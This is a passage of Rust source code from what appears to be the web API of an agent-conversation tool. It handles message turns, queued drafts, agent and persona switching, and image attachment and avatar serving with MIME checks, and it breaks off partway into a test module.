7059 let ui = Arc::clone(&ui);
7060 let asked = id.clone();
7061 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7062 };
7063 {
7067 let ui = Arc::clone(&ui);
7068 let id = id.clone();
7069 blocking(move || {
7070 let talk = ui.talks.get(&id)?;
7071 if !talk.status.open() {
7072 return Err(ApiError::conflict(format!(
7073 "talk {} is {} and takes no more turns",
7074 talk.short(),
7075 talk.status.as_str()
7076 )));
7077 }
7078 Ok(())
7079 })
7080 .await?;
7081 }
7082
7083 let attachments = {
7088 let ui = Arc::clone(&ui);
7089 let id = id.clone();
7090 let ids = body.attachments.clone();
7091 blocking(move || {
7092 ids.into_iter()
7093 .map(|att_id| {
7094 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7095 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7096 })
7097 })
7098 .collect::<ApiResult<Vec<talk::Attachment>>>()
7099 })
7100 .await?
7101 };
7102
7103 let start = {
7108 let ui = Arc::clone(&ui);
7109 let id = id.clone();
7110 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7111 };
7112 let turn_guard = match start {
7113 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7114 TalkTurnStart::Pending => {
7115 return Err(ApiError::conflict(
7116 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7117 ));
7118 }
7119 TalkTurnStart::Foreign => {
7120 return Err(ApiError::conflict(
7121 "a turn is already running in another process; try again when it has finished",
7122 ));
7123 }
7124 TalkTurnStart::Busy => {
7125 let (tx, rx) = tokio::sync::oneshot::channel();
7141 tokio::spawn({
7142 let ui = Arc::clone(&ui);
7143 let id = id.clone();
7144 let said = body.text.clone();
7145 let reply_to = body.reply_to.clone();
7146 async move {
7147 let written = blocking({
7148 let ui = Arc::clone(&ui);
7149 let id = id.clone();
7150 move || {
7151 let mut talk = ui.talks.get(&id)?;
7152 #[cfg(test)]
7157 if let Some(gate) = ui
7158 .busy_queue_gate
7159 .lock()
7160 .unwrap_or_else(PoisonError::into_inner)
7161 .take()
7162 {
7163 let _ = gate.reached.send(());
7164 let _ = gate.release.recv();
7165 }
7166 if let Err(error) = talk::queue_reply(
7167 &mut talk,
7168 &ui.talks,
7169 &said,
7170 attachments,
7171 reply_to,
7172 ) {
7173 if let Ok(fresh) = ui.talks.get(&id) {
7174 if !fresh.status.open() {
7175 return Err(ApiError::conflict(format!(
7176 "talk {} is {} and takes no more turns",
7177 fresh.short(),
7178 fresh.status.as_str()
7179 )));
7180 }
7181 }
7182 return Err(
7183 if error.to_string().contains("invalid reply target") {
7184 ApiError::bad_request("invalid reply target")
7185 } else {
7186 ApiError::from(error)
7187 },
7188 );
7189 }
7190 let claim = match ui.begin_queued_talk_turn(&id)? {
7201 Some(turn_guard) => {
7202 let (cfg, _) = Config::discover(&talk.repo, None)?;
7203 Some((talk.clone(), cfg, turn_guard))
7204 }
7205 None => None,
7206 };
7207 let thinking = ui.is_thinking(&id);
7208 Ok((TalkView::new(talk, thinking), claim))
7209 }
7210 })
7211 .await;
7212 let (view, reclaimed) = match written {
7213 Ok(pair) => pair,
7214 Err(e) => {
7215 let _ = tx.send(Err(e));
7220 return;
7221 }
7222 };
7223 let _ = tx.send(Ok(view));
7226 if let Some((talk, cfg, turn_guard)) = reclaimed {
7227 let talks = ui.talks.clone();
7228 drain_loop(talk, talks, cfg, id, turn_guard).await;
7229 }
7230 }
7231 });
7232 let view = rx
7233 .await
7234 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7235 return Ok((StatusCode::ACCEPTED, Json(view)));
7236 }
7237 };
7238
7239 let (talk, cfg) = {
7240 let ui = Arc::clone(&ui);
7241 let id = id.clone();
7242 blocking(move || {
7243 let talk = ui.talks.get(&id)?;
7244 let (cfg, _) = Config::discover(&talk.repo, None)?;
7245 Ok((talk, cfg))
7246 })
7247 .await?
7248 };
7249
7250 let talks = ui.talks.clone();
7251 let (tx, rx) = tokio::sync::oneshot::channel();
7266 tokio::spawn({
7267 let ui = Arc::clone(&ui);
7268 let talks = talks.clone();
7269 let id = id.clone();
7270 let said = body.text.clone();
7271 let reply_to = body.reply_to.clone();
7272 let mut talk = talk.clone();
7273 async move {
7274 let recorded = blocking({
7275 let talks = talks.clone();
7276 move || {
7277 if let Err(error) =
7278 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7279 {
7280 if let Ok(fresh) = talks.get(&talk.id) {
7281 if !fresh.status.open() {
7282 return Err(ApiError::conflict(format!(
7283 "talk {} is {} and takes no more turns",
7284 fresh.short(),
7285 fresh.status.as_str()
7286 )));
7287 }
7288 }
7289 return Err(if error.to_string().contains("invalid reply target") {
7290 ApiError::bad_request("invalid reply target")
7291 } else {
7292 ApiError::from(error)
7293 });
7294 }
7295 Ok((said.trim().to_owned(), talk))
7301 }
7302 })
7303 .await;
7304 let (text, mut talk) = match recorded {
7305 Ok(pair) => pair,
7306 Err(e) => {
7307 let _ = tx.send(Err(e));
7311 return;
7312 }
7313 };
7314 let queued = talk.clone();
7315 let thinking = ui.is_thinking(&id);
7316 let _ = tx.send(Ok((queued, thinking)));
7319
7320 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7321 tracing::warn!("talk {id} turn failed: {e:#}");
7325 }
7326 drain_loop(talk, talks, cfg, id, turn_guard).await;
7329 }
7330 });
7331
7332 let (queued, thinking) = rx
7333 .await
7334 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7335
7336 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7338}
7339
7340async fn talk_pending_resume(
7344 State(ui): State<Arc<Ui>>,
7345 Path(id): Path<String>,
7346) -> ApiResult<(StatusCode, Json<TalkView>)> {
7347 let id = {
7348 let ui = Arc::clone(&ui);
7349 let asked = id.clone();
7350 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7351 };
7352 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7353 return Err(ApiError::conflict(
7354 "a talk turn is already running; the queued draft will be handled by it",
7355 ));
7356 };
7357 let (talk, cfg) = {
7358 let ui = Arc::clone(&ui);
7359 let id = id.clone();
7360 blocking(move || {
7361 let talk = ui.talks.get(&id)?;
7362 if !talk.status.open() {
7363 return Err(ApiError::conflict(format!(
7364 "talk {} is {} and takes no more turns",
7365 talk.short(),
7366 talk.status.as_str()
7367 )));
7368 }
7369 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7370 return Err(ApiError::conflict("there is no queued draft to resume"));
7371 }
7372 let (cfg, _) = Config::discover(&talk.repo, None)?;
7373 Ok((talk, cfg))
7374 })
7375 .await?
7376 };
7377 let view = TalkView::new(talk.clone(), true);
7378 let talks = ui.talks.clone();
7379 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7380 Ok((StatusCode::ACCEPTED, Json(view)))
7381}
7382
7383async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7399 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7400}
7401
7402async fn settle_settings_turn(
7406 talk: Talk,
7407 talks: Talks,
7408 cfg: Config,
7409 id: String,
7410 turn: TalkTurnGuard,
7411 observed: u64,
7412) -> bool {
7413 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7414 let turns = Arc::clone(&turn.turns);
7415 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7416 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7417 turn.release(&mut live);
7419 return false;
7420 }
7421 }
7422 let (started, settled) = tokio::sync::oneshot::channel();
7423 tokio::spawn(drain_loop_started(
7424 talk,
7425 talks,
7426 cfg,
7427 id,
7428 turn,
7429 Some(started),
7430 ));
7431 settled.await.unwrap_or(false)
7432}
7433
7434async fn drain_loop_started(
7435 mut talk: Talk,
7436 talks: Talks,
7437 cfg: Config,
7438 id: String,
7439 turn: TalkTurnGuard,
7440 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7441) {
7442 let live_set = Arc::clone(&turn.turns);
7443 let mut turn = Some(turn);
7451 loop {
7452 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7453 tracing::warn!("talk {id} lost its turn lease; not draining further");
7456 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7457 if let Some(turn) = turn.take() {
7458 turn.release(&mut live);
7459 }
7460 break;
7461 }
7462 {
7463 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7466 if live.parking {
7467 if let Some(turn) = turn.take() {
7468 turn.release(&mut live);
7469 }
7470 break;
7471 }
7472 }
7473 let observed = live_set
7477 .lock()
7478 .unwrap_or_else(PoisonError::into_inner)
7479 .queued
7480 .get(&id)
7481 .copied()
7482 .unwrap_or(0);
7483 let drained = blocking({
7484 let talks = talks.clone();
7485 let live_set = Arc::clone(&live_set);
7486 move || {
7487 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7492 let result = if live.parking {
7493 Ok(None)
7494 } else {
7495 talk::drain(&mut talk, &talks)
7496 };
7497 drop(live);
7498 Ok((talk, result))
7499 }
7500 })
7501 .await;
7502 let (next_talk, result) = match drained {
7503 Ok(drained) => drained,
7504 Err(e) => {
7505 tracing::warn!(
7506 status = %e.status,
7507 message = %e.message,
7508 "talk {id} could not start queued-text drain"
7509 );
7510 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7511 turn.take()
7512 .expect("held for the whole loop until released here")
7513 .release(&mut live);
7514 break;
7515 }
7516 };
7517 talk = next_talk;
7518 let drained = match result {
7519 Ok(Some(drained)) => drained,
7520 Ok(None) => {
7521 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7522 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7523 continue;
7524 }
7525 turn.take()
7526 .expect("held for the whole loop until released here")
7527 .release(&mut live);
7528 break;
7529 }
7530 Err(e) => {
7531 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7532 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7533 turn.take()
7534 .expect("held for the whole loop until released here")
7535 .release(&mut live);
7536 break;
7537 }
7538 };
7539 if let Some(started) = started.take() {
7540 let _ = started.send(true);
7541 }
7542 let responded = match turn.as_ref() {
7543 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7544 None => Err(anyhow::anyhow!("the turn guard was released")),
7545 };
7546 if let Err(e) = responded {
7547 tracing::warn!("talk {id} turn failed: {e:#}");
7548 }
7549 }
7550 drop(turn);
7551 if let Some(started) = started {
7552 let _ = started.send(false);
7553 }
7554}
7555
7556async fn talk_pending_clear(
7558 State(ui): State<Arc<Ui>>,
7559 Path(id): Path<String>,
7560 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7561) -> ApiResult<Json<TalkView>> {
7562 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7563 blocking(move || {
7564 let id = resolve_talk(&ui.talks, &id)?;
7565 let mut talk = ui.talks.get(&id)?;
7566 if !talk.status.open() {
7567 return Err(ApiError::conflict(format!(
7568 "talk {} is {} and takes no more turns",
7569 talk.short(),
7570 talk.status.as_str()
7571 )));
7572 }
7573 if !talk::clear_pending_if_matches(
7574 &mut talk,
7575 &ui.talks,
7576 &body.expected_text,
7577 &body.expected_attachments,
7578 )? {
7579 return Err(ApiError::conflict(
7580 "queued message changed; reload it before clearing",
7581 ));
7582 }
7583 let thinking = ui.is_thinking(&talk.id);
7584 Ok(Json(TalkView::new(talk, thinking)))
7585 })
7586 .await
7587}
7588
7589async fn talk_pending_edit(
7593 State(ui): State<Arc<Ui>>,
7594 Path(id): Path<String>,
7595 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7596) -> ApiResult<Json<TalkView>> {
7597 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7598 let (view, reclaimed) = blocking({
7599 let ui = Arc::clone(&ui);
7600 move || {
7601 let id = resolve_talk(&ui.talks, &id)?;
7602 let mut talk = ui.talks.get(&id)?;
7603 if !talk.status.open() {
7604 return Err(ApiError::conflict(format!(
7605 "talk {} is {} and takes no more turns",
7606 talk.short(),
7607 talk.status.as_str()
7608 )));
7609 }
7610 if !talk::edit_pending_message(
7611 &mut talk,
7612 &ui.talks,
7613 &body.text,
7614 &body.expected_text,
7615 &body.expected_attachments,
7616 body.message,
7617 )? {
7618 return Err(ApiError::conflict(
7619 "queued message changed; reload it before editing",
7620 ));
7621 }
7622 let claim = match ui.begin_queued_talk_turn(&id)? {
7623 Some(turn_guard) => {
7624 let (cfg, _) = Config::discover(&talk.repo, None)?;
7625 Some((talk.clone(), cfg, id.clone(), turn_guard))
7626 }
7627 None => None,
7628 };
7629 let thinking = ui.is_thinking(&id);
7630 Ok((TalkView::new(talk, thinking), claim))
7631 }
7632 })
7633 .await?;
7634 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7635 let talks = ui.talks.clone();
7636 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7637 }
7638 Ok(Json(view))
7639}
7640
7641fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7643 if talk.status.open() {
7644 return Ok(());
7645 }
7646 Err(ApiError::conflict(format!(
7647 "talk {} is {} and takes no more turns",
7648 talk.short(),
7649 talk.status.as_str()
7650 )))
7651}
7652
7653#[derive(Debug, Deserialize)]
7655struct TalkAgent {
7656 agent: String,
7657}
7658
7659async fn talk_agent(
7664 State(ui): State<Arc<Ui>>,
7665 Path(id): Path<String>,
7666 Json(body): Json<TalkAgent>,
7667) -> ApiResult<Json<TalkView>> {
7668 let id = {
7669 let ui = Arc::clone(&ui);
7670 blocking(move || resolve_talk(&ui.talks, &id)).await?
7671 };
7672 let repo = {
7673 let ui = Arc::clone(&ui);
7674 let id = id.clone();
7675 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7676 };
7677 let cfg = config_for(&repo).await?;
7678 {
7680 let ui = Arc::clone(&ui);
7681 let id = id.clone();
7682 let cfg = cfg.clone();
7683 let wanted = body.agent.clone();
7684 blocking(move || {
7685 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7686 .map_err(ApiError::bad_request_from)?;
7687 refuse_if_closed(&ui.talks.get(&id)?)
7688 })
7689 .await?;
7690 }
7691 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7692 return Err(ApiError::conflict(
7693 "a talk turn is running; change the agent once it has answered",
7694 ));
7695 };
7696 let switched = {
7697 let ui = Arc::clone(&ui);
7698 let id = id.clone();
7699 let cfg = cfg.clone();
7700 blocking(move || {
7701 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7702 .map_err(ApiError::bad_request_from)?;
7703 let mut talk = ui.talks.get(&id)?;
7704 if !talk.status.open() {
7705 return Err(ApiError::conflict(format!(
7706 "talk {} is {} and takes no more turns",
7707 talk.short(),
7708 talk.status.as_str()
7709 )));
7710 }
7711 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7712 Ok(talk)
7713 })
7714 .await
7715 };
7716 let observed = ui.queued_generation(&id);
7721 let fresh = {
7722 let ui = Arc::clone(&ui);
7723 let id = id.clone();
7724 blocking(move || Ok(ui.talks.get(&id)?)).await
7725 };
7726 let draining = match fresh {
7727 Ok(talk) => {
7728 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7729 }
7730 Err(_) => false,
7731 };
7732 let talk = switched?;
7733 Ok(Json(TalkView::new(talk, draining)))
7734}
7735
7736#[derive(Debug, Deserialize)]
7738struct TalkPersona {
7739 persona: String,
7740}
7741
7742async fn talk_persona(
7746 State(ui): State<Arc<Ui>>,
7747 Path(id): Path<String>,
7748 Json(body): Json<TalkPersona>,
7749) -> ApiResult<Json<TalkView>> {
7750 let id = {
7751 let ui = Arc::clone(&ui);
7752 blocking(move || resolve_talk(&ui.talks, &id)).await?
7753 };
7754 let repo = {
7755 let ui = Arc::clone(&ui);
7756 let id = id.clone();
7757 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7758 };
7759 let cfg = config_for(&repo).await?;
7760 {
7762 let ui = Arc::clone(&ui);
7763 let id = id.clone();
7764 let cfg = cfg.clone();
7765 let wanted = body.persona.clone();
7766 blocking(move || {
7767 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7768 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7769 }
7770 refuse_if_closed(&ui.talks.get(&id)?)
7771 })
7772 .await?;
7773 }
7774 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7775 return Err(ApiError::conflict(
7776 "a talk turn is running; change the persona once it has answered",
7777 ));
7778 };
7779 let switched = {
7780 let ui = Arc::clone(&ui);
7781 let id = id.clone();
7782 let cfg = cfg.clone();
7783 blocking(move || {
7784 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7785 return Err(ApiError::bad_request(format!(
7786 "unknown persona `{}`",
7787 body.persona
7788 )));
7789 };
7790 let mut talk = ui.talks.get(&id)?;
7791 if !talk.status.open() {
7792 return Err(ApiError::conflict(format!(
7793 "talk {} is {} and takes no more turns",
7794 talk.short(),
7795 talk.status.as_str()
7796 )));
7797 }
7798 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7799 Ok(talk)
7800 })
7801 .await
7802 };
7803 let observed = ui.queued_generation(&id);
7805 let fresh = {
7806 let ui = Arc::clone(&ui);
7807 let id = id.clone();
7808 blocking(move || Ok(ui.talks.get(&id)?)).await
7809 };
7810 let draining = match fresh {
7811 Ok(talk) => {
7812 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7813 }
7814 Err(_) => false,
7815 };
7816 let talk = switched?;
7817 Ok(Json(TalkView::new(talk, draining)))
7818}
7819
7820#[derive(Debug, Deserialize)]
7822struct TalkImplementers {
7823 implementers: u8,
7824}
7825
7826async fn talk_implementers(
7830 State(ui): State<Arc<Ui>>,
7831 Path(id): Path<String>,
7832 Json(body): Json<TalkImplementers>,
7833) -> ApiResult<Json<TalkView>> {
7834 let id = {
7835 let ui = Arc::clone(&ui);
7836 blocking(move || resolve_talk(&ui.talks, &id)).await?
7837 };
7838 let repo = {
7839 let ui = Arc::clone(&ui);
7840 let id = id.clone();
7841 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7842 };
7843 let cfg = config_for(&repo).await?;
7844 {
7849 let ui = Arc::clone(&ui);
7850 let id = id.clone();
7851 let cfg = cfg.clone();
7852 let wanted = body.implementers;
7853 blocking(move || {
7854 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7855 refuse_if_closed(&ui.talks.get(&id)?)
7856 })
7857 .await?;
7858 }
7859 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7860 return Err(ApiError::conflict(
7861 "a talk turn is running; change the implementers once it has answered",
7862 ));
7863 };
7864 let switched = {
7865 let ui = Arc::clone(&ui);
7866 let id = id.clone();
7867 let cfg = cfg.clone();
7868 blocking(move || {
7869 let chosen =
7870 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7871 let mut talk = ui.talks.get(&id)?;
7872 if !talk.status.open() {
7873 return Err(ApiError::conflict(format!(
7874 "talk {} is {} and takes no more turns",
7875 talk.short(),
7876 talk.status.as_str()
7877 )));
7878 }
7879 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7880 Ok(talk)
7881 })
7882 .await
7883 };
7884 let observed = ui.queued_generation(&id);
7886 let fresh = {
7887 let ui = Arc::clone(&ui);
7888 let id = id.clone();
7889 blocking(move || Ok(ui.talks.get(&id)?)).await
7890 };
7891 let draining = match fresh {
7892 Ok(talk) => {
7893 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7894 }
7895 Err(_) => false,
7896 };
7897 let talk = switched?;
7898 Ok(Json(TalkView::new(talk, draining)))
7899}
7900
7901async fn talk_close(
7903 State(ui): State<Arc<Ui>>,
7904 Path(id): Path<String>,
7905) -> ApiResult<Json<TalkView>> {
7906 blocking(move || {
7907 let id = resolve_talk(&ui.talks, &id)?;
7908 let mut talk = ui.talks.get(&id)?;
7909 talk::close(&mut talk, &ui.talks)?;
7910 let thinking = ui.is_thinking(&talk.id);
7911 Ok(Json(TalkView::new(talk, thinking)))
7912 })
7913 .await
7914}
7915
7916async fn talk_reopen(
7918 State(ui): State<Arc<Ui>>,
7919 Path(id): Path<String>,
7920) -> ApiResult<Json<TalkView>> {
7921 blocking(move || {
7922 let id = resolve_talk(&ui.talks, &id)?;
7923 let mut talk = ui.talks.get(&id)?;
7924 talk::reopen(&mut talk, &ui.talks)?;
7925 let thinking = ui.is_thinking(&talk.id);
7926 Ok(Json(TalkView::new(talk, thinking)))
7927 })
7928 .await
7929}
7930
7931async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7941 blocking(move || {
7942 let id = resolve_talk(&ui.talks, &id)?;
7943 ui.talks.remove(&id)?;
7944 Ok(StatusCode::NO_CONTENT)
7945 })
7946 .await
7947}
7948
7949fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7951 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7952}
7953
7954async fn talk_attachment_post(
7957 State(ui): State<Arc<Ui>>,
7958 Path(id): Path<String>,
7959 headers: HeaderMap,
7960 body: Bytes,
7961) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7962 let mime = validate_attachment(&headers, &body)?;
7963 let name = filename_header(&headers);
7964 let data = body.to_vec();
7965 blocking(move || {
7966 let id = resolve_talk(&ui.talks, &id)?;
7967 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7968 Ok((StatusCode::CREATED, Json(att)))
7969 })
7970 .await
7971}
7972
7973async fn talk_attachment_get(
7976 State(ui): State<Arc<Ui>>,
7977 Path((id, att)): Path<(String, String)>,
7978) -> ApiResult<Response> {
7979 blocking(move || {
7980 let id = resolve_talk(&ui.talks, &id)?;
7981 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7982 return Err(ApiError::not_found(format!(
7983 "talk {id} has no attachment `{att}`"
7984 )));
7985 };
7986 Ok(attachment_response(&meta.mime, data))
7987 })
7988 .await
7989}
7990
7991fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7994 let mut id = String::new();
7995 for b in p.id.bytes() {
7996 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7997 id.push(char::from(b));
7998 } else {
7999 id.push_str(&format!("%{b:02X}"));
8000 }
8001 }
8002 format!(
8003 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8004 persona_icon::fingerprint(p.icon.as_deref())
8005 )
8006}
8007
8008#[derive(Debug, Default, Deserialize)]
8009struct AvatarQuery {
8010 persona: Option<String>,
8011 builtin: Option<String>,
8013}
8014
8015const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8017
8018fn builtin_avatar(id: &str) -> Response {
8019 svg_avatar(persona_icon::builtin_svg(id))
8020}
8021
8022async fn operator_avatar() -> Response {
8023 svg_avatar(persona_icon::operator_svg())
8024}
8025
8026fn svg_avatar(svg: &'static str) -> Response {
8027 (
8028 [
8029 (header::CONTENT_TYPE, "image/svg+xml"),
8030 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8031 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8032 (header::CACHE_CONTROL, "no-cache"),
8033 ],
8034 svg,
8035 )
8036 .into_response()
8037}
8038
8039async fn talk_avatar(
8044 State(ui): State<Arc<Ui>>,
8045 Path(id): Path<String>,
8046 Query(q): Query<AvatarQuery>,
8047) -> ApiResult<Response> {
8048 blocking(move || {
8049 let id = resolve_talk(&ui.talks, &id)?;
8050 let talk = ui.talks.get(&id)?;
8051 let wanted = q
8052 .persona
8053 .as_deref()
8054 .map(str::trim)
8055 .filter(|p| !p.is_empty())
8056 .unwrap_or(&talk.persona)
8057 .to_owned();
8058 let specs = match Config::discover(&talk.repo, None) {
8059 Ok((cfg, _)) => cfg.talk.personas,
8060 Err(e) => {
8061 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8062 Vec::new()
8063 }
8064 };
8065 let Some(found) = persona::find(&specs, &wanted) else {
8066 return Ok(builtin_avatar(persona::DEFAULT_ID));
8067 };
8068 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8069 return Ok(builtin_avatar(&found.id));
8070 };
8071 match persona_icon::load(icon) {
8072 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8073 let mut res = attachment_response(mime, bytes);
8074 res.headers_mut().insert(
8075 header::CACHE_CONTROL,
8076 header::HeaderValue::from_static("no-cache"),
8077 );
8078 Ok(res)
8079 }
8080 Ok((mime, _)) => {
8081 tracing::warn!(
8082 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8083 found.id
8084 );
8085 Ok(builtin_avatar(&found.id))
8086 }
8087 Err(e) => {
8088 tracing::warn!(
8089 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8090 found.id
8091 );
8092 Ok(builtin_avatar(&found.id))
8093 }
8094 }
8095 })
8096 .await
8097}
8098
8099fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8110 if data.len() > ATTACHMENT_MAX_BYTES {
8111 return Err(ApiError::bad_request(format!(
8112 "attachment is {} bytes, over the {} MiB limit",
8113 data.len(),
8114 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8115 ))
8116 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8117 }
8118 if data.is_empty() {
8119 return Err(ApiError::bad_request("attachment is empty"));
8120 }
8121 let declared = declared_mime(headers)?;
8122 match sniffed_mime(data) {
8123 Some(sniffed) if sniffed == declared => Ok(declared),
8124 Some(sniffed) => Err(ApiError::bad_request(format!(
8125 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8126 ))),
8127 None => Err(ApiError::bad_request(
8128 "the file's bytes do not match any accepted image format",
8129 )),
8130 }
8131}
8132
8133fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8137 let raw = headers
8138 .get(header::CONTENT_TYPE)
8139 .and_then(|v| v.to_str().ok())
8140 .unwrap_or("")
8141 .split(';')
8142 .next()
8143 .unwrap_or("")
8144 .trim()
8145 .to_ascii_lowercase();
8146 ATTACHMENT_MIME_WHITELIST
8147 .iter()
8148 .find(|&&m| m == raw)
8149 .copied()
8150 .ok_or_else(|| {
8151 if raw == "image/svg+xml" {
8152 ApiError::bad_request(
8153 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8154 not just a picture",
8155 )
8156 } else if raw.is_empty() {
8157 ApiError::bad_request("Content-Type is required for an attachment upload")
8158 } else {
8159 ApiError::bad_request(format!(
8160 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8161 image/gif or image/webp"
8162 ))
8163 }
8164 })
8165}
8166
8167fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8170 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8171 Some("image/png")
8172 } else if data.starts_with(b"\xff\xd8\xff") {
8173 Some("image/jpeg")
8174 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8175 Some("image/gif")
8176 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8177 Some("image/webp")
8178 } else {
8179 None
8180 }
8181}
8182
8183fn filename_header(headers: &HeaderMap) -> String {
8189 headers
8190 .get(FILENAME_HEADER)
8191 .and_then(|v| v.to_str().ok())
8192 .map(str::trim)
8193 .filter(|s| !s.is_empty())
8194 .unwrap_or("attachment")
8195 .to_owned()
8196}
8197
8198fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8205 let content_type = ATTACHMENT_MIME_WHITELIST
8206 .iter()
8207 .find(|&&m| m == mime)
8208 .copied()
8209 .unwrap_or("application/octet-stream");
8210 (
8211 [
8212 (header::CONTENT_TYPE, content_type),
8213 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8214 ],
8215 body,
8216 )
8217 .into_response()
8218}
8219
8220async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8228 let repo = repo.to_path_buf();
8229 blocking(move || {
8230 let (cfg, _) = Config::discover(&repo, None)?;
8231 Ok(cfg)
8232 })
8233 .await
8234}
8235
8236fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8242 let mut hits = ids
8243 .into_iter()
8244 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8245 match (hits.next(), hits.next()) {
8246 (Some(one), None) => Ok(one),
8247 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8248 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8249 "`{prefix}` matches more than one {what}, including {a} and {b}"
8250 ))),
8251 }
8252}
8253
8254#[cfg(test)]
8255mod tests {
8256
8257 #[test]
8258 fn holder_reads_the_lease_not_the_record() {
8259 let mut q = Question::new(
8260 "run".to_owned(),
8261 "implement".to_owned(),
8262 "impl-A".to_owned(),
8263 "which?".to_owned(),
8264 String::new(),
8265 Vec::new(),
8266 );
8267 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8268 q.cwd = Some("/tmp".to_owned());
8269 assert_eq!(holder_of(&q, None), Some("nobody"));
8270 let beat = |kind, ago: i64| ask::Lease {
8271 kind,
8272 pid: 1,
8273 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8274 .unwrap(),
8275 };
8276 let fresh = beat(ask::WaiterKind::Asker, 1);
8277 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8278 let daemon = beat(ask::WaiterKind::Daemon, 1);
8279 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
